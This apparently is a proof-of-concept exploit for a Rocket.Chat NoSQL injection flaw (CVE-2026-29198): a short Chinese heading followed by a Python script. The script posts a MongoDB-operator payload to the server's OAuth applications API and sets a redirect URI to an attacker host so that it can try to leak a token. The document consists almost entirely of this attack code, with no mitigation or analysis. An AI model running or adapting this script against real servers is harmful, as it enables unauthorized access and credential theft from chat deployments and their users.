CVE-2026-29198 Rocket.Chat NoSQL注入漏洞

import requests target_url = "http://target-rocketchat/api/v1/oauth.applications" headers = {"Content-Type": "application/json"} # Malicious payload demonstrating NoSQL injection syntax # Attempting to bypass logic or extract token via MongoDB operators payload = { "applicationName": {"$ne": ""}, "redirectUri": "http://attacker.com", "active": True } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request sent, check if token is leaked in response.") print(response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"Error: {e}")